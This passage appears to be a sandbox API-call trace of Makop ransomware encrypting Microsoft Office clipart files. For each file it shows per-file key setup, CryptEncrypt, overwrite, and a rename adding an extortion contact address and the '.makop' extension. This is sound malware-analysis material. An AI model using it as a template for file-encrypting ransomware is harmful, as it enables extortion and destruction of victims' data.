nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa4e, lpOverlapped=0x0) returned 1 [0132.917] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa50, dwBufLen=0xa50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa50) returned 1 [0132.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa50, lpOverlapped=0x0) returned 1 [0132.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.918] SetEndOfFile (hFile=0xf0) returned 1 [0132.925] GetProcessHeap () returned 0x48a0000 [0132.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.925] GetProcessHeap () returned 0x48a0000 [0132.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.926] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.928] CloseHandle (hObject=0xf0) returned 1 [0132.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0132.928] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF") returned 63 [0132.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.929] GetProcessHeap () returned 0x48a0000 [0132.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.929] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.929] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0132.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.934] GetProcessHeap () returned 0x48a0000 [0132.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.934] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.935] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x926, lpOverlapped=0x0) returned 1 [0132.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930, dwBufLen=0x930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930) returned 1 [0132.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x930, lpOverlapped=0x0) returned 1 [0132.936] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.936] SetEndOfFile (hFile=0xf0) returned 1 [0132.943] GetProcessHeap () returned 0x48a0000 [0132.943] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.943] GetProcessHeap () returned 0x48a0000 [0132.943] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.944] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.953] CloseHandle (hObject=0xf0) returned 1 [0132.953] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0132.953] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF") returned 63 [0132.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.954] GetProcessHeap () returned 0x48a0000 [0132.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.955] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0132.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.960] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.960] GetProcessHeap () returned 0x48a0000 [0132.960] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.960] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.960] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.960] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.960] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.961] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.961] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.961] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.962] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xab2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xab2, lpOverlapped=0x0) returned 1 [0132.962] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xac0, dwBufLen=0xac0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xac0) returned 1 [0132.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xac0, lpOverlapped=0x0) returned 1 [0132.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.962] SetEndOfFile (hFile=0xf0) returned 1 [0132.969] GetProcessHeap () returned 0x48a0000 [0132.969] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.969] GetProcessHeap () returned 0x48a0000 [0132.969] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.969] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.972] CloseHandle (hObject=0xf0) returned 1 [0132.972] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0132.972] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF") returned 63 [0132.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.973] GetProcessHeap () returned 0x48a0000 [0132.973] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.973] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0132.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.978] GetProcessHeap () returned 0x48a0000 [0132.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.980] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.980] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.980] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x82a, lpOverlapped=0x0) returned 1 [0132.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x830) returned 1 [0132.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x830, lpOverlapped=0x0) returned 1 [0132.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.981] SetEndOfFile (hFile=0xf0) returned 1 [0132.988] GetProcessHeap () returned 0x48a0000 [0132.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.988] GetProcessHeap () returned 0x48a0000 [0132.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.988] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.990] CloseHandle (hObject=0xf0) returned 1 [0132.990] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0132.990] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF") returned 63 [0132.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.993] GetProcessHeap () returned 0x48a0000 [0132.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.993] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0132.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.998] GetProcessHeap () returned 0x48a0000 [0132.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.998] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | 